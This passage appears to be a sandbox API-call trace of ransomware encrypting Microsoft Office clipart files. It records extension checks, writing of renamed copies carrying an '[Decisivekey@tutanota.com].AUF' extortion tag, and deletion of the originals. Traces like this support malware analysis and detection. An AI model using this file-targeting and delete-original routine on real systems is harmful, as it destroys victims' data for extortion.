lstrlenW (lpString=".jpg") returned 4 [0222.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.407] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.407] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.407] GetLastError () returned 0x0 [0222.407] ReadFile (in: hFile=0x21c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x2454, lpOverlapped=0x0) returned 1 [0222.463] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2460, lpOverlapped=0x0) returned 1 [0222.464] ReadFile (in: hFile=0x21c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.464] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.464] SetEndOfFile (hFile=0x1f8) returned 1 [0222.464] CloseHandle (hObject=0x1f8) returned 1 [0222.464] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.464] SetEndOfFile (hFile=0x21c) returned 1 [0222.465] CloseHandle (hObject=0x21c) returned 1 [0222.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0222.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0222.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0222.465] lstrlenW (lpString=".doc") returned 4 [0222.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.465] lstrlenW (lpString=".docx") returned 5 [0222.465] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.465] lstrlenW (lpString=".pdf") returned 4 [0222.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.466] lstrlenW (lpString=".xls") returned 4 [0222.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.466] lstrlenW (lpString=".xlsx") returned 5 [0222.466] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.466] lstrlenW (lpString=".ppt") returned 4 [0222.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0222.466] lstrlenW (lpString=".zip") returned 4 [0222.466] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.466] lstrlenW (lpString=".rar") returned 4 [0222.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.466] lstrlenW (lpString=".bz2") returned 4 [0222.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.466] lstrlenW (lpString=".7z") returned 3 [0222.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0222.466] lstrlenW (lpString=".dbf") returned 4 [0222.466] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0222.466] lstrlenW (lpString=".1cd") returned 4 [0222.466] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0222.466] lstrlenW (lpString=".jpg") returned 4 [0222.466] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.471] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2848) returned 1 [0222.471] CloseHandle (hObject=0x180) returned 1 [0222.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x20 [0222.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0222.472] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.472] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0222.472] GetLastError () returned 0x0 [0222.472] ReadFile (in: hFile=0x180, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xb20, lpOverlapped=0x0) returned 1 [0222.474] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xb30, lpOverlapped=0x0) returned 1 [0222.474] ReadFile (in: hFile=0x180, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.474] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.474] SetEndOfFile (hFile=0x230) returned 1 [0222.475] CloseHandle (hObject=0x230) returned 1 [0222.475] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.475] SetEndOfFile (hFile=0x180) returned 1 [0222.476] CloseHandle (hObject=0x180) returned 1 [0222.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0222.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0222.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0222.476] lstrlenW (lpString=".doc") returned 4 [0222.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.476] lstrlenW (lpString=".docx") returned 5 [0222.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.476] lstrlenW (lpString=".pdf") returned 4 [0222.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.476] lstrlenW (lpString=".xls") returned 4 [0222.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.476] lstrlenW (lpString=".xlsx") returned 5 [0222.476] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.476] lstrlenW (lpString=".ppt") returned 4 [0222.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0222.476] lstrlenW (lpString=".zip") returned 4 [0222.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.476] lstrlenW (lpString=".rar") returned 4 [0222.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.476] lstrlenW (lpString=".bz2") returned 4 [0222.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.476] lstrlenW (lpString=".7z") returned 3 [0222.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0222.477] lstrlenW (lpString=".dbf") returned 4 [0222.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0222.477] lstrlenW (lpString=".1cd") returned 4 [0222.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0222.477] lstrlenW (lpString=".jpg") returned 4 [0222.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.477] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2756) returned 1 [0222.477] CloseHandle (hObject=0x180) returned 1 [0222.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x20 [0222.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0222.477] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.478] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0222.478] GetLastError () returned 0x0 [0222.478] ReadFile (in: hFile=0x180, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xac4, lpOverlapped=0x0) returned 1 [0222.479] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xad0, lpOverlapped=0x0) returned 1 [0222.480] ReadFile (in: hFile=0x180, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.480] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.480] SetEndOfFile (hFile=0x230) returned 1 [0222.480] CloseHandle (hObject=0x230) returned 1 [0222.480] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.480] SetEndOfFile (hFile=0x180) returned 1 [0222.481] CloseHandle (hObject=0x180) returned 1 [0222.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0222.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0222.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0222.481] lstrlenW (lpString=".doc") returned 4 [0222.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.481] lstrlenW (lpString=".docx") returned 5 [0222.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.482] lstrlenW (lpString=".pdf") returned 4 [0222.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.482] lstrlenW (lpString=".xls") returned 4 [0222.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.482] lstrlenW (lpString=".xlsx") returned 5 [0222.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.482] lstrlenW (lpString=".ppt") returned 4 [0222.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0222.482] lstrlenW (lpString=".zip") returned 4 [0222.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.482] lstrlenW (lpString=".rar") returned 4 [0222.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.482] lstrlenW (lpString=".bz2") returned 4 [0222.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.482] lstrlenW (lpString=".7z") returned 3 [0222.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0222.482] lstrlenW (lpString=".dbf") returned 4 [0222.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0222.482] lstrlenW (lpString=".1cd") returned 4 [0222.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0222.482] lstrlenW (lpString=".jpg") returned 4 [0222.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.482] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1268) returned 1 [0222.482] CloseHandle (hObject=0x180) returned 1 [0222.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x20 [0222.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0222.483] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.483] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0222.483] GetLastError () returned 0x0 [0222.483] ReadFile (in: hFile=0x180, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x4f4, lpOverlapped=0x0) returned 1 [0222.484] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x500, lpOverlapped=0x0) returned 1 [0222.485] ReadFile (in: hFile=0x180, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.485] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.485] SetEndOfFile (hFile=0x230) returned 1 [0222.485] CloseHandle (hObject=0x230) returned 1 [0222.486] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.486] SetEndOfFile (hFile=0x180) returned 1 [0222.486] CloseHandle (hObject=0x180) returned 1 [0222.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0222.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0222.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0222.525] lstrlenW (lpString=".doc") returned 4 [0222.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.525] lstrlenW (lpString=".docx") returned 5 [0222.525] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.525] lstrlenW (lpString=".pdf") returned 4 [0222.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.525] lstrlenW (lpString=".xls") returned 4 [0222.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.525] lstrlenW (lpString=".xlsx") returned 5 [0222.525] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.525] lstrlenW (lpString=".ppt") returned 4 [0222.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0222.525] lstrlenW (lpString=".zip") returned 4 [0222.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.525] lstrlenW (lpString=".rar") returned 4 [0222.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.525] lstrlenW (lpString=".bz2") returned 4 [0222.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.525] lstrlenW (lpString=".7z") returned 3 [0222.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0222.525] lstrlenW (lpString=".dbf") returned 4 [0222.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0222.525] lstrlenW (lpString=".1cd") returned 4 [0222.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0222.525] lstrlenW (lpString=".jpg") returned 4 [0222.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.526] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.526] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0222.526] GetLastError () returned 0x0 [0222.526] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1746, lpOverlapped=0x0) returned 1 [0222.550] WriteFile (in: hFile=0x1f0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1750, lpOverlapped=0x0) returned 1 [0222.551] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.551] WriteFile (in: hFile=0x1f0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.551] SetEndOfFile (hFile=0x1f0) returned 1 [0222.551] CloseHandle (hObject=0x1f0) returned 1 [0222.551] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.551] SetEndOfFile (hFile=0x208) returned 1 [0222.552] CloseHandle (hObject=0x208) returned 1 [0222.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0222.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0222.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0222.555] lstrlenW (lpString=".doc") returned 4 [0222.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.555] lstrlenW (lpString=".docx") returned 5 [0222.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.555] lstrlenW (lpString=".pdf") returned 4 [0222.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.555] lstrlenW (lpString=".xls") returned 4 [0222.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.555] lstrlenW (lpString=".xlsx") returned 5 [0222.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.555] lstrlenW (lpString=".ppt") returned 4 [0222.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0222.556] lstrlenW (lpString=".zip") returned 4 [0222.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.556] lstrlenW (lpString=".rar") returned 4 [0222.556] lstrcmpiW 